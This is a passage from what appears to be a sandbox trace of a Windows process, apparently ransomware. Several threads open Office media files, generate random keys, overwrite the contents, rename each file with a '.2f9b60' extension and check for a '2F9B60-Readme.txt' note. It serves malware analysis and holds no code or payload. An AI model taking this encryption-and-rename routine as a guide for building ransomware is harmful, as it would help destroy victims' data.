RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0136.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0136.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0136.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0136.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x205066d0 [0136.629] wcscat (in: _Dest=0x205066d0, _Source="2b64afad07c9" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b64afad07c9") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b64afad07c9" [0136.629] wcscat (in: _Dest=0x205066d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b64afad07c9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b64afad07c9.2f9b60" [0136.629] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b64afad07c9.2f9b60", NtPathName=0x2787f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b64afad07c9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d370 [0136.629] NtSetInformationFile (FileHandle=0x1d8c, IoStatusBlock=0x2787f810, FileInformation=0x2050d370, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0148.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d370) returned 1 [0148.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293bc0) returned 1 [0148.267] NtQueryInformationFile (in: FileHandle=0x1d8c, IoStatusBlock=0x2787f7d8, FileInformation=0x2787f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2787f7d8, FileInformation=0x2787f7e8) returned 0x0 [0148.267] NtSetInformationFile (FileHandle=0x1d8c, IoStatusBlock=0x2787f7d8, FileInformation=0x2787f7e8, Length=0x28, FileInformationClass=0x4) [0207.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205066d0) returned 1 [0207.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0207.759] FlushFileBuffers (hFile=0x1d8c) returned 1 [0207.762] CloseHandle (hObject=0x1d8c) returned 1 [0209.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ba60 [0209.562] wcscpy (in: _Dest=0x1b86ba60, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0209.562] wcscat (in: _Dest=0x1b86ba60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0209.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0209.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ba60) returned 1 [0209.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bb80) returned 1 Thread: id = 1763 os_tid = 0x178c [0132.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf")) returned 0x20 [0132.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF", dwFileAttributes=0x20) returned 1 [0133.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ce8 [0135.848] GetFileSizeEx (in: hFile=0x1ce8, lpFileSize=0x25f6fa80 | out: lpFileSize=0x25f6fa80*=25288) returned 1 [0135.848] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x62c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.848] ReadFile (in: hFile=0x1ce8, lpBuffer=0x25f6fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25f6fa48, lpOverlapped=0x0 | out: lpBuffer=0x25f6fa00*, lpNumberOfBytesRead=0x25f6fa48*=0x4, lpOverlapped=0x0) returned 1 [0136.032] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0136.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0136.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0136.032] NtQuerySystemTime (in: CurrentTime=0x25f6f940 | out: CurrentTime=0x25f6f940*=132462177412810000) returned 0x0 [0136.032] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x71763cb7 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x455299ab [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x7f8d5c70 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x7d33dfdd [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x7fec2b4f [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x14dd8c88 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x14c78c6a [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x14ebeb3b [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x754a648 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x4c8dba58 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x8284781 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x7285b7c9 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x1bb60400 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x1d2f9fa8 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x4019d2a4 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x1b6cb84f [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0xaf9018a [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x3333cd09 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x219afd0c [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x4cb2d94d [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x6f2641c7 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x5635691b [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0xb3fc0aa [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x1b45bdcd [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x6e44d6bb [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x18b276ec [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x5da2c4ca [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x7629859b [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x6e15234c [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x231a34e7 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x2927cb44 [0136.033] RtlRandomEx (in: Seed=0x25f6f930 | out: Seed=0x25f6f930) returned 0x128b4c76 [0136.043] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.043] ReadFile (in: hFile=0x1ce8, lpBuffer=0x203bad80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25f6f9a0, lpOverlapped=0x0 | out: lpBuffer=0x203bad80*, lpNumberOfBytesRead=0x25f6f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.162] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0136.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0136.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0136.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203c61b0 [0136.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0136.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0136.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d810) returned 1 [0136.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0136.164] WriteFile (in: hFile=0x1ce8, lpBuffer=0x203c61b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25f6f9a0, lpOverlapped=0x0 | out: lpBuffer=0x203c61b0*, lpNumberOfBytesWritten=0x25f6f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203c61b0) returned 1 [0136.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203bad80) returned 1 [0136.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050d7e0 [0136.307] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.307] WriteFile (in: hFile=0x1ce8, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25f6fa50, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x25f6fa50*=0x10a, lpOverlapped=0x0) returned 1 [0136.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0136.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0136.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0136.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f9b0 [0136.418] sprintf (in: _Dest=0x1cd9f9b0, _Format="%c%c" | out: _Dest="12") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9b2, _Format="%c%c" | out: _Dest="45") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9b4, _Format="%c%c" | out: _Dest="5c") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9b6, _Format="%c%c" | out: _Dest="1a") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9b8, _Format="%c%c" | out: _Dest="a5") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9ba, _Format="%c%c" | out: _Dest="e7") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9bc, _Format="%c%c" | out: _Dest="ee") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9be, _Format="%c%c" | out: _Dest="9f") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9c0, _Format="%c%c" | out: _Dest="7d") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9c2, _Format="%c%c" | out: _Dest="fa") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9c4, _Format="%c%c" | out: _Dest="4b") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9c6, _Format="%c%c" | out: _Dest="16") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9c8, _Format="%c%c" | out: _Dest="1a") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9ca, _Format="%c%c" | out: _Dest="c9") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9cc, _Format="%c%c" | out: _Dest="fe") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9ce, _Format="%c%c" | out: _Dest="69") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9d0, _Format="%c%c" | out: _Dest="1c") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9d2, _Format="%c%c" | out: _Dest="5f") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9d4, _Format="%c%c" | out: _Dest="7b") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9d6, _Format="%c%c" | out: _Dest="35") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9d8, _Format="%c%c" | out: _Dest="df") returned 2 [0136.419] sprintf (in: _Dest=0x1cd9f9da, _Format="%c%c" | out: _Dest="51") returned 2 [0136.420] sprintf (in: _Dest=0x1cd9f9dc, _Format="%c%c" | out: _Dest="c3") returned 2 [0136.420] sprintf (in: _Dest=0x1cd9f9de, _Format="%c%c" | out: _Dest="db") returned 2 [0136.420] RtlInitAnsiString (in: DestinationString=0x25f6fac8, SourceString="12455c1aa5e7ee9f7dfa4b161ac9fe691c5f7b35df51c3db" | out: DestinationString="12455c1aa5e7ee9f7dfa4b161ac9fe691c5f7b35df51c3db") [0136.420] RtlAnsiStringToUnicodeString (in: DestinationString=0x25f6fa98, SourceString="12455c1aa5e7ee9f7dfa4b161ac9fe691c5f7b35df51c3db", AllocateDestinationString=1 | out: DestinationString="12455c1aa5e7ee9f7dfa4b161ac9fe691c5f7b35df51c3db") returned 0x0 [0136.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9080 [0136.420] RtlFreeAnsiString (AnsiString="1") [0136.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f9b0) returned 1 [0136.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0136.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a140) returned 1 [0136.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0136.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0136.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0136.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267a40) returned 1 [0136.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0136.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0136.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x205064f0 [0136.422] wcscat (in: _Dest=0x205064f0, _Source="12455c1aa5e7" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\12455c1aa5e7") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\12455c1aa5e7" [0136.422] wcscat (in: _Dest=0x205064f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\12455c1aa5e7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\12455c1aa5e7.2f9b60" [0136.422] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\12455c1aa5e7.2f9b60", NtPathName=0x25f6fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\12455c1aa5e7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d210 [0136.422] NtSetInformationFile (FileHandle=0x1ce8, IoStatusBlock=0x25f6fb10, FileInformation=0x2050d210, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0146.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecb7f0) returned 1 [0146.865] NtQueryInformationFile (in: FileHandle=0x1ce8, IoStatusBlock=0x25f6fad8, FileInformation=0x25f6fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25f6fad8, FileInformation=0x25f6fae8) returned 0x0 [0146.865] NtSetInformationFile (FileHandle=0x1ce8, IoStatusBlock=0x25f6fad8, FileInformation=0x25f6fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205064f0) returned 1 [0147.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9080) returned 1 [0147.280] FlushFileBuffers (hFile=0x1ce8) returned 1 [0147.281] CloseHandle (hObject=0x1ce8) returned 1 [0147.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c000 [0147.284] wcscpy (in: _Dest=0x1b86c000, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.284] wcscat (in: _Dest=0x1b86c000, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c000) returned 1 [0147.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bd30) returned 1 Thread: id = 1764 os_tid = 0xe84 [0132.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf")) returned 0x20 [0132.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF", dwFileAttributes=0x20) returned 1 [0133.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c48 [0134.725] GetFileSizeEx (in: hFile=0x1c48, lpFileSize=0x2706f900 | out: lpFileSize=0x2706f900*=4880) returned 1 [0134.725] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x130c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.725] ReadFile (in: hFile=0x1c48, lpBuffer=0x2706f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2706f8c8, lpOverlapped=0x0 | out: lpBuffer=0x2706f880*, lpNumberOfBytesRead=0x2706f8c8*=0x4, lpOverlapped=0x0) returned 1 [0134.751] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267ef0 [0134.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0134.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0134.751] NtQuerySystemTime (in: CurrentTime=0x2706f7c0 | out: CurrentTime=0x2706f7c0*=132462177399862000) returned 0x0 [0134.751] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x15114a90 [0134.751] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0xce4605a [0134.751] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x7e47041b [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x2a4285cb [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x2ba98a63 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x3b01dc90 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0xed54953 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x1c650562 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x132726a3 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x448e6749 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x7be730c2 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x30f30faa [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x3d4385c9 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x406bea98 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x510ee1b2 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x60c6247a [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x32b6ffa2 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x5a05fb93 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x3139b54d [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x51e13767 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x59b5aecd [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x390ece5a [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x3d96fd0b [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x788219bf [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x6e0d0675 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x50d481ab [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x64fa0a8e [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x5c7bf6cd [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x74349639 [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0xe59edc [0134.752] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x28345ea [0134.753] RtlRandomEx (in: Seed=0x2706f7b0 | out: Seed=0x2706f7b0) returned 0x52a7f668 [0134.763] ReadFile (in: hFile=0x1c48, lpBuffer=0x41d0c1b0, nNumberOfBytesToRead=0x1310, lpNumberOfBytesRead=0x2706f7b0, lpOverlapped=0x0 | out: lpBuffer=0x41d0c1b0*, lpNumberOfBytesRead=0x2706f7b0*=0x1310, lpOverlapped=0x0) returned 1 [0134.770] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.770] WriteFile (in: hFile=0x1c48, lpBuffer=0x2030a0b0*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2706f7b4, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesWritten=0x2706f7b4*=0x1310, lpOverlapped=0x0) returned 1 [0135.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263800 [0135.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261850 [0135.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261850) returned 1 [0135.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0135.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d0c1b0) returned 1 [0135.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 [0135.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0135.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261850 [0135.640] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.640] WriteFile (in: hFile=0x1c48, lpBuffer=0x1673a0*, 